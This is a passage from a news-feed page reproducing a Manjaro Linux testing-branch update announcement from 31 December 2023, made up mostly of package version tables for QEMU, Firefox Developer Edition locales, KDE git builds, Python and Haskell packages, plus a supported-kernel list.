                python-feedgenerator              2.1.0-1              2.1.0-2
                     python-fixtures              4.1.0-1              4.1.0-2
                   python-hypothesis             6.92.0-1             6.92.2-1
               python-jaraco.logging              3.2.0-1              3.3.0-1
                  python-pdm-backend              2.1.7-1              2.1.8-1
                 python-pycryptodome             3.19.0-1             3.19.1-1
                      python-pymongo              4.6.0-1              4.6.1-1
                         python-raet              0.6.8-8                    -
              python-readme-renderer               42.0-1               42.0-2
                    python-schemdraw               0.16-1               0.16-2
                      python-socksio              1.0.0-2              1.0.0-3
                      python-tomlkit             0.12.2-1             0.12.3-1
                       python-traits              6.4.1-2              6.4.1-3
                     qemu-audio-alsa              8.2.0-1                    -
                     qemu-audio-dbus              8.2.0-1                    -
                     qemu-audio-jack              8.2.0-1                    -
                      qemu-audio-oss              8.2.0-1                    -
                       qemu-audio-pa              8.2.0-1                    -
                 qemu-audio-pipewire              8.2.0-1                    -
                      qemu-audio-sdl              8.2.0-1                    -
                    qemu-audio-spice              8.2.0-1                    -
                           qemu-base              8.2.0-1                    -
                     qemu-block-curl              8.2.0-1                    -
                      qemu-block-dmg              8.2.0-1                    -
                  qemu-block-gluster              8.2.0-1                    -
                    qemu-block-iscsi              8.2.0-1                    -
                      qemu-block-nfs              8.2.0-1                    -
                      qemu-block-ssh              8.2.0-1                    -
                   qemu-chardev-baum              8.2.0-1                    -
                  qemu-chardev-spice              8.2.0-1                    -
                         qemu-common              8.2.0-1                    -
                        qemu-desktop              8.2.0-1                    -
                           qemu-docs              8.2.0-1                    -
                 qemu-emulators-full              8.2.0-1                    -
                           qemu-full              8.2.0-1                    -
                    qemu-guest-agent              8.2.0-1                    -
                 qemu-hw-display-qxl              8.2.0-1                    -
          qemu-hw-display-virtio-gpu              8.2.0-1                    -
       qemu-hw-display-virtio-gpu-gl              8.2.0-1                    -
      qemu-hw-display-virtio-gpu-pci              8.2.0-1                    -
   qemu-hw-display-virtio-gpu-pci-gl              8.2.0-1                    -
          qemu-hw-display-virtio-vga              8.2.0-1                    -
       qemu-hw-display-virtio-vga-gl              8.2.0-1                    -
        qemu-hw-s390x-virtio-gpu-ccw              8.2.0-1                    -
                    qemu-hw-usb-host              8.2.0-1                    -
                qemu-hw-usb-redirect              8.2.0-1                    -
               qemu-hw-usb-smartcard              8.2.0-1                    -
                            qemu-img              8.2.0-1                    -
                      qemu-pr-helper              8.2.0-1                    -
                 qemu-system-aarch64              8.2.0-1                    -
                   qemu-system-alpha              8.2.0-1                    -
          qemu-system-alpha-firmware              8.2.0-1                    -
                     qemu-system-arm              8.2.0-1                    -
            qemu-system-arm-firmware              8.2.0-1                    -
                     qemu-system-avr              8.2.0-1                    -
                    qemu-system-cris              8.2.0-1                    -
                    qemu-system-hppa              8.2.0-1                    -
           qemu-system-hppa-firmware              8.2.0-1                    -
             qemu-system-loongarch64              8.2.0-1                    -
                    qemu-system-m68k              8.2.0-1                    -
              qemu-system-microblaze              8.2.0-1                    -
     qemu-system-microblaze-firmware              8.2.0-1                    -
                    qemu-system-mips              8.2.0-1                    -
                   qemu-system-nios2              8.2.0-1                    -
                    qemu-system-or1k              8.2.0-1                    -
                     qemu-system-ppc              8.2.0-1                    -
            qemu-system-ppc-firmware              8.2.0-1                    -
                   qemu-system-riscv              8.2.0-1                    -
          qemu-system-riscv-firmware              8.2.0-1                    -
                      qemu-system-rx              8.2.0-1                    -
                   qemu-system-s390x              8.2.0-1                    -
          qemu-system-s390x-firmware              8.2.0-1                    -
                     qemu-system-sh4              8.2.0-1                    -
                   qemu-system-sparc              8.2.0-1                    -
          qemu-system-sparc-firmware              8.2.0-1                    -
                 qemu-system-tricore              8.2.0-1                    -
                     qemu-system-x86              8.2.0-1                    -
            qemu-system-x86-firmware              8.2.0-1                    -
                  qemu-system-xtensa              8.2.0-1                    -
                          qemu-tests              8.2.0-1                    -
                          qemu-tools              8.2.0-1                    -
                      qemu-ui-curses              8.2.0-1                    -
                        qemu-ui-dbus              8.2.0-1                    -
                qemu-ui-egl-headless              8.2.0-1                    -
                         qemu-ui-gtk              8.2.0-1                    -
                      qemu-ui-opengl              8.2.0-1                    -
                         qemu-ui-sdl              8.2.0-1                    -
                   qemu-ui-spice-app              8.2.0-1                    -
                  qemu-ui-spice-core              8.2.0-1                    -
                           qemu-user              8.2.0-1                    -
                    qemu-user-binfmt              8.2.0-1                    -
                    qemu-user-static              8.2.0-1                    -
             qemu-user-static-binfmt              8.2.0-1                    -
                 qemu-vhost-user-gpu              8.2.0-1                    -
                              thunar             4.18.9-1            4.18.10-1
                                toot             0.40.0-1             0.40.2-1
         v2ray-domain-list-community     20231223093928-1     20231228114109-1
                                vcsh              2.0.5-1              2.0.7-1
                             web-ext              7.8.0-1              7.9.0-1
                             wlroots             0.17.0-1             0.17.1-1
                           xarchiver           0.5.4.21-1           0.5.4.22-1
                      xarchiver-gtk2           0.5.4.21-1           0.5.4.22-1
            kernel-hardening-checker                    -              0.6.1-1


:: Different overlay package(s) in repository kde-unstable x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                        akonadi-mime23.08.4.r1970.gf5d6fc5-123.08.4.r1971.gc43df99-1
                           alligator23.08.1.r662.g7f80aba-123.08.1.r663.g5fa25a8-1
                                 ark23.08.4.r5280.g329af32a-123.08.4.r5281.ge1734deb-1
                         audiocd-kio23.08.4.r1289.g17e693b-123.08.4.r1290.g43844d4-1
                                bovo23.08.4.r929.gd3fb1e3-123.08.4.r930.g11828a6-1
                             dolphin23.08.4.r7758.g12e8dbe8c-123.08.4.r7762.g35058d939-1
                               elisa23.08.4.r3623.g6e05fc25-123.08.4.r3624.gf5e52c8d-1
                          elisa-qtmm23.08.4.r3623.g6e05fc25-123.08.4.r3624.gf5e52c8d-1
                           granatier23.08.4.r1127.g8e843bd-123.08.4.r1129.g94a983d-1
                             kajongg23.08.4.r4518.ga9050a25-123.08.4.r4519.geed3368f-1
                              kapman23.08.4.r803.g6839f4a-123.08.4.r804.g46ae447-1
                               kasts23.08.1.r1480.g09b866d-123.08.1.r1481.g30fadd1-1
                             katomic23.08.4.r1121.g6f9fb44-123.08.4.r1123.gb39cfbc-1
                               kauth5.113.0.r617.gdc03206-15.113.0.r620.geeea73f-1
                           kbreakout23.08.4.r1064.g72d76f9-123.08.4.r1065.g1574693-1
                         kcharselect23.08.4.r703.g1adec51-123.08.4.r704.geb97d34-1
                              kclock23.08.1.r1134.gce026299-123.08.1.r1135.gfb0f8c96-1
                        kcolorscheme5.113.0.r170.g01f5459-15.113.0.r171.gb871171-1
                            kdenlive23.08.4.r19220.gcbfedf203-123.08.4.r19225.gbc585037a-1
                             kdialog23.08.4.r1439.g23bd288f7-123.08.4.r1443.ge90452e4a-1
                            keysmith23.08.1.r562.g4eeaefa-123.08.1.r564.g60c44f5-1
                               kfind23.08.4.r2899.g625bce588-123.08.4.r2902.gf637a7854-1
                         kfourinline23.08.4.r1184.g54cd5d0-123.08.4.r1185.g0c7cc29-1
                          kgeography23.08.4.r1336.g1596928-123.08.4.r1337.g9573b4d-1
                         kgoldrunner23.08.4.r1484.g57a6210-123.08.4.r1485.gb0c2ff4-1
                          kguiaddons5.113.0.r577.gf538195-15.113.0.r579.g184672d-1
                               ki18n5.113.0.r704.gd7333c8-15.113.0.r706.g092b0fc-1
                         kinfocenter5.27.10.r2602.gd50bb73a-15.27.10.r2603.g19fa0959-1
                                 kio5.113.0.r6799.g6be2b805e-15.113.0.r6805.g6fb695a0a-1
                           kirigami25.113.0.r4315.gd04e7b22-15.113.0.r4316.gfd870f60-1
                        kjumpingcube23.08.4.r994.g7a3c4d8-123.08.4.r995.g8e2573b-1
                      kmailtransport23.08.4.r2075.g4c2b802-123.08.4.r2076.g1fa1214-1
                                koko23.08.1.r980.gcd98773-123.08.1.r981.g37321f7-1
                         kolourpaint23.08.4.r2646.gd3e5d3af-123.08.4.r2647.g420c9770-1
                            kongress23.08.1.r436.g712417c-123.08.1.r437.ge0d8f68-1
                             konsole23.08.4.r9336.g398eba3e0-123.08.4.r9338.g4fe2779e1-1
                            kpackage5.113.0.r1008.g08796e9-15.113.0.r1009.gf703f2a-1
                                kpat23.08.4.r2858.g111db862-123.08.4.r2860.g2496eae8-1
                              kruler23.08.4.r941.ged27720-123.08.4.r943.g89a8416-1
                               ksirk23.08.4.r1279.gc63e970-123.08.4.r1280.gbe89fe0-1
                                ksvg5.113.0.r5124.g353a979b-15.113.0.r5125.g8543a55a-1
                          ksystemlog23.08.4.r949.g080fbed-123.08.4.r950.g502ee88-1
                            kteatime23.08.4.r894.gb68c6d8-123.08.4.r895.gb29b9b8-1
                         ktextaddons23.08.4.r1174.gf37816a-123.08.4.r1176.g5271ff0-1
                              ktimer23.08.4.r665.g516fb53-123.08.4.r666.ge4e9c0c-1
                               ktrip23.08.1.r511.g3f811e3-123.08.1.r512.g98f522a-1
                            kweather23.08.1.r1091.g60348f7-123.08.1.r1092.g63b3296-1
                      kwidgetsaddons5.113.0.r1261.g336a600b-15.113.0.r1262.g3bccb112-1
                                kwin5.27.10.r25846.gf294b06fa6-15.27.10.r25847.g577240c3db-1
                            libkcddb23.08.4.r898.gc2d4490-123.08.4.r899.g2087da5-1
                           libkdepim23.08.4.r1133.gb405e7e-123.08.4.r1135.g8588f99-1
                            libkgapi23.08.4.r1666.geaf0c3c0-123.08.4.r1667.g905401f4-1
                             libkleo23.08.4.r1882.g34dee403-123.08.4.r1884.gb56a2105-1
                           libksieve23.08.4.r2213.gd45dddf8-123.08.4.r2214.g2d988e22-1
                         libktorrent23.08.4.r660.g90e054d-123.08.4.r661.gcd83509-1
                          mailcommon23.08.4.r1641.gc21f8da9-123.08.4.r1643.gb0655ffb-1
                        mailimporter23.08.4.r737.g64852ca-123.08.4.r738.g5f23aff-1
                       marble-common23.08.4.r13817.g097554b5e-123.08.4.r13820.g1bd7a8b65-1
                           marble-qt23.08.4.r13817.g097554b5e-123.08.4.r13820.g1bd7a8b65-1
                  mauikit-imagetools3.0.2.r201.g6efb5c4-13.0.2.r202.gc47c1ec-1
                          messagelib23.08.4.r7621.g32cd34225-123.08.4.r7625.ga0a6b595c-1
                    plasma-phonebook23.08.1.r531.gad08d97-123.08.1.r534.g4e6ee7c-1
                      plasma5support5.27.10.r152.g9eb70f3-15.27.10.r153.g1d1f710-1
                             purpose5.113.0.r1197.gefcb546a-15.113.0.r1198.ga787208d-1
                          qmlkonsole23.08.1.r469.gcb532c1-123.08.1.r479.gb2f21c6-1
                  qqc2-desktop-style5.113.0.r917.gbef63ba-15.113.0.r919.g2e54873-1
                                sddm0.19.0.r250.gb002d02-10.19.0.r252.g5011292-1
                              sonnet5.113.0.r878.g09e866d-15.113.0.r880.g81f2a4c-1
                            spacebar23.08.1.r867.gd146367-123.08.1.r871.g8d77d7d-1
                           spectacle23.08.4.r2148.gbf6c2ca7-123.08.4.r2150.g815191d1-1
                                step23.08.4.r1410.g36533b1-123.08.4.r1411.gb36ac5e-1
                             svgpart23.08.4.r361.gaa15dd5-123.08.4.r363.g34ee3d0-1
                             sweeper23.08.4.r724.ga9bca62-123.08.4.r725.gf4e2889-1
                 syntax-highlighting5.113.0.r2493.gd42737bf-15.113.0.r2494.g856fce92-1
                         vakzination23.08.1.r394.gd4b550e-123.08.1.r396.gbc91f68-1
                                 juk                    -23.08.4.r3337.gb834d8a4-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                    lib32-fontconfig           2:2.14.2-1           2:2.15.0-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin/154321/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>2 posts - 1 participant</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin/154321">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2023-12-31 - Plasma-Mobile, Calamares, Deepin, Python]]></title>
<description><![CDATA[Hello community,
Another testing branch update with some usual package updates for you.
Recent News:

Manjaro, like many other open-source projects, relies on the generosity of its community through donations and corporate sponsorships to support its growth and development. These donations are es...]]></description>
<link>https://tsecurity.de/de/1973064/unix-server/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1973064/unix-server/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/</guid>
<pubDate>Sun, 31 Dec 2023 05:24:35 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello community,</p>
<p>Another <strong>testing</strong> branch update with some usual package updates for you.</p>
<p><strong>Recent News:</strong></p>
<ul>
<li>Manjaro, like many other open-source projects, relies on the generosity of its community through <a href="https://manjaro.org/donate/">donations</a> and corporate sponsorships to support its growth and development. These <a href="https://manjaro.org/donate/">donations</a> are essential in covering the various expenses incurred in the operations of the project such as server costs, software development tools, infrastructure expenses, training, flying people to events or <a href="https://blog.manjaro.org/fosdem-2023/">conferences</a> and the salaries of key developers. With the help of these donations, Manjaro is able to secure the necessary financial stability that allows the project to continuously improve and remain active. If you love Manjaro, consider to <a href="https://manjaro.org/donate/">donate</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/154321/1">(click for more details)</a>
<p><strong>Notable Package Updates:</strong></p>
<ul>
<li>Some <strong>Plasma-Mobile</strong> packages got updated to 5.27.10</li>
<li><strong>Calamares</strong> git-version got updated to <a href="https://forum.manjaro.org/">3.3</a></li>
<li>Some <strong>Deepin</strong> updates</li>
<li>Usual <strong>KDE-git</strong>, <strong>Haskell</strong> and <strong>Python</strong> updates</li>
</ul>
<h2><a name="additional-info-1" class="anchor" href="https://forum.manjaro.org/#additional-info-1"></a>Additional Info</h2>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin-python/154321/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux419 4.19.303</li>
<li>linux54 5.4.265</li>
<li>linux510 5.10.205</li>
<li>linux515 5.15.145</li>
<li>linux61 6.1.69</li>
<li>linux65 6.5.13 [EOL]</li>
<li>linux66 6.6.8</li>
<li>linux67 6.7-rc7</li>
<li>linux61-rt 6.1.66_rt19</li>
<li>linux65-rt 6.5.2_rt8</li>
<li>linux66-rt 6.6.7_rt18</li>
</ul>
<p><strong>Package Changes</strong> (Sun Dec 31 04:48:40 CET 2023)</p>
<ul>
<li>testing extra x86_64:  191 new and 274 removed package(s)</li>
<li>testing multilib x86_64:  1 new and 1 removed package(s)</li>
</ul>
<p><strong>Overlay Changes</strong></p>
<ul>
<li>testing extra x86_64:  5 new and 5 removed package(s)</li>
<li>testing kde-unstable x86_64:  76 new and 75 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                       calamares-git3.3.0alpha6.r11692.e582bee3f9-13.3.0.r11730.d562c6134-1
                       plasma-mobile             5.27.9-1            5.27.10-1
                    plasma-mobile-nm             5.27.9-1            5.27.10-1
plasma5-applets-optimus-gpu-switcher              1.4.1-1              1.4.2-1
                        protontricks             1.10.5-2             1.11.0-1


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                           alacritty             0.13.0-2             0.13.0-3
                             apprise              1.6.0-3              1.7.1-1
                               broot             1.30.2-1             1.31.0-1
                        cargo-expand             1.0.77-1             1.0.78-1
                         cargo-udeps             0.1.43-2             0.1.45-1
                           dart-sass             1.69.5-1             1.69.6-1
                                ddgr                2.1-5                2.2-1
                     deepin-calendar             5.11.1-1             5.12.0-1
                                dolt             1.30.1-1             1.30.4-1
                           doomretro              5.1.1-1              5.1.3-1
                              elinks           0.16.1.1-2             0.17.0-1
                              elixir             1.15.7-1             1.16.0-1
                             esbuild             0.19.9-1            0.19.11-1
                                exim               4.97-1             4.97.1-1
           firefox-developer-edition            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-ach            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-af            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-an            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ar            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-ast            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-az            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-be            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bg            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bn            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-br            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ca            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ca-valencia      122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-cak            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-cs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-cy            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-da            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-de            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-dsb            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-el            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-ca            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-gb            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-us            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-eo            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-ar            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-cl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-es            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-mx            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-et            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-eu            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fa            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ff            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fi            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-fur            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-fy-nl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ga-ie            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gd            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gn            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-gu-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-he            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-hi-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-hr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-hsb            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-hu            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-hy-am            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ia            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-id            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-is            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-it            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ja            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ka            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-kab            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-kk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-km            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-kn            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ko            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-lij            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-lt            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-lv            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-mk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-mr            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ms            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-my            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-nb-no            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ne-np            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-nl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-nn-no            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-oc            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pa-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-pl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pt-br            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pt-pt            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-rm            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ro            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ru            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sc            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-sco            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-si            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sl            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-son            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sq            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sr            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-sv-se            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-szl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ta            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-te            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tg            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-th            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-trs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-uk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ur            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-uz            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-vi            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-xh            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-zh-cn            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-zh-tw            122.0b3-1            122.0b4-1
                              gitlab             16.7.0-1             16.7.0-2
                       gitlab-gitaly             16.7.0-1             16.7.0-2
                            gitoxide             0.32.0-1             0.33.0-1
                               glirc         2.39.0.1-170         2.39.0.1-171
                  haskell-curve25519             0.2.7-40              0.2.8-1
                      haskell-hakyll          4.16.0.0-97          4.16.0.0-98
            haskell-hls-hlint-plugin          1.1.1.0-112            1.1.2.0-1
           haskell-hls-ormolu-plugin          1.0.3.0-116            1.0.4.0-1
             haskell-language-server           1.9.1.0-30           1.9.1.0-32
                      haskell-pandoc             3.1.6-14             3.1.6-15
           haskell-pandoc-lua-engine             0.2.1-13             0.2.1-14
               haskell-pandoc-server           0.1.0.1-13           0.1.0.1-14
                 haskell-toml-parser            1.3.1.0-1            1.3.1.1-1
                       haskell-typst            0.3.2.1-1            0.3.2.1-3
                               icewm              3.4.4-1              3.4.5-1
                                just             1.19.0-1             1.21.0-1
                              kanshi              1.4.0-1              1.5.0-1
              kconfig-hardened-check              0.6.1-3                    -
                               kicad              7.0.9-2             7.0.10-1
                    kicad-library-3d              7.0.9-1             7.0.10-1
                       kicad-library              7.0.9-1             7.0.10-1
                           leptonica             1.83.1-1             1.84.0-1
                            libgpiod              1.6.4-2                2.0-1
                       libtraceevent            1:1.7.3-1            1:1.8.1-1
                  libtraceevent-docs            1:1.7.3-1            1:1.8.1-1
                      lua-filesystem              1.8.0-3              1.8.0-4
                            lua-term                0.7-8                0.8-1
                    lua51-filesystem              1.8.0-3              1.8.0-4
                          lua51-term                0.7-8                0.8-1
                    lua52-filesystem              1.8.0-3              1.8.0-4
                          lua52-term                0.7-8                0.8-1
                    lua53-filesystem              1.8.0-3              1.8.0-4
                          lua53-term                0.7-8                0.8-1
                          metasploit             6.3.43-1             6.3.49-1
                              miller              6.9.0-1             6.10.0-1
                                ncnn           20230816-3           20231027-1
                              nodejs             21.4.0-2             21.5.0-1
                             openmpi              4.1.5-5              4.1.6-1
                          pandoc-cli           0.1.1.1-27           0.1.1.1-28
                     pandoc-crossref          0.3.16.0-80          0.3.16.0-81
                         pandoc-plot             1.8.0-19             1.8.0-20
                          postgresql               16.1-3               16.1-4
                     postgresql-docs               16.1-3               16.1-4
                     postgresql-libs               16.1-3               16.1-4
              postgresql-old-upgrade               15.5-3               15.5-4
                             pyright            1.1.343-1            1.1.344-1
                      python-boltons             23.1.1-1                    -
                       python-btrees             4.11.3-2             4.11.3-3
                   python-cachetools              5.3.2-1              5.3.2-2
                         python-copr              1.125-1              1.126-1
                   python-cssselect2              0.7.0-2              0.7.0-3
                    python-deepmerge              1.1.0-2              1.1.1-1
                   python-diff-cover              8.0.1-1              8.0.2-1
               python-exceptiongroup              1.1.3-2              1.2.0-1
                    python-fakeredis             2.20.1-1             2.20.1-2
               python-fastjsonschema             2.19.0-1             2.19.1-1
                python-feedgenerator              2.1.0-1              2.1.0-2
                     python-fixtures              4.1.0-1              4.1.0-2
                   python-hypothesis             6.92.0-1             6.92.2-1
               python-jaraco.logging              3.2.0-1              3.3.0-1
                  python-pdm-backend              2.1.7-1              2.1.8-1
                 python-pycryptodome             3.19.0-1             3.19.1-1
                      python-pymongo              4.6.0-1              4.6.1-1
                         python-raet              0.6.8-8                    -
              python-readme-renderer               42.0-1               42.0-2
                    python-schemdraw               0.16-1               0.16-2
                      python-socksio              1.0.0-2              1.0.0-3
                      python-tomlkit             0.12.2-1             0.12.3-1
                       python-traits              6.4.1-2              6.4.1-3
                     qemu-audio-alsa              8.2.0-1                    -
                     qemu-audio-dbus              8.2.0-1                    -
                     qemu-audio-jack              8.2.0-1                    -
                      qemu-audio-oss              8.2.0-1                    -
                       qemu-audio-pa              8.2.0-1                    -
                 qemu-audio-pipewire              8.2.0-1                    -
                      qemu-audio-sdl              8.2.0-1                    -
                    qemu-audio-spice              8.2.0-1                    -
                           qemu-base              8.2.0-1                    -
                     qemu-block-curl              8.2.0-1                    -
                      qemu-block-dmg              8.2.0-1                    -
                  qemu-block-gluster              8.2.0-1                    -
                    qemu-block-iscsi              8.2.0-1                    -
                      qemu-block-nfs              8.2.0-1                    -
                      qemu-block-ssh              8.2.0-1                    -
                   qemu-chardev-baum              8.2.0-1                    -
                  qemu-chardev-spice              8.2.0-1                    -
                         qemu-common              8.2.0-1                    -
                        qemu-desktop              8.2.0-1                    -
                           qemu-docs              8.2.0-1                    -
                 qemu-emulators-full              8.2.0-1                    -
                           qemu-full              8.2.0-1                    -
                    qemu-guest-agent              8.2.0-1                    -
                 qemu-hw-display-qxl              8.2.0-1                    -
          qemu-hw-display-virtio-gpu              8.2.0-1                    -
       qemu-hw-display-virtio-gpu-gl              8.2.0-1                    -
      qemu-hw-display-virtio-gpu-pci              8.2.0-1                    -
   qemu-hw-display-virtio-gpu-pci-gl              8.2.0-1                    -
          qemu-hw-display-virtio-vga              8.2.0-1                    -
       qemu-hw-display-virtio-vga-gl              8.2.0-1                    -
        qemu-hw-s390x-virtio-gpu-ccw              8.2.0-1                    -
                    qemu-hw-usb-host              8.2.0-1                    -
                qemu-hw-usb-redirect              8.2.0-1                    -
               qemu-hw-usb-smartcard              8.2.0-1                    -
                            qemu-img              8.2.0-1                    -
                      qemu-pr-helper              8.2.0-1                    -
                 qemu-system-aarch64              8.2.0-1                    -
                   qemu-system-alpha              8.2.0-1                    -
          qemu-system-alpha-firmware              8.2.0-1                    -
                     qemu-system-arm              8.2.0-1                    -
            qemu-system-arm-firmware              8.2.0-1                    -
                     qemu-system-avr              8.2.0-1                    -
                    qemu-system-cris              8.2.0-1                    -
                    qemu-system-hppa              8.2.0-1                    -
           qemu-system-hppa-firmware              8.2.0-1                    -
             qemu-system-loongarch64              8.2.0-1                    -
                    qemu-system-m68k              8.2.0-1                    -
              qemu-system-microblaze              8.2.0-1                    -
     qemu-system-microblaze-firmware              8.2.0-1                    -
                    qemu-system-mips              8.2.0-1                    -
                   qemu-system-nios2              8.2.0-1                    -
                    qemu-system-or1k              8.2.0-1                    -
                     qemu-system-ppc              8.2.0-1                    -
            qemu-system-ppc-firmware              8.2.0-1                    -
                   qemu-system-riscv              8.2.0-1                    -
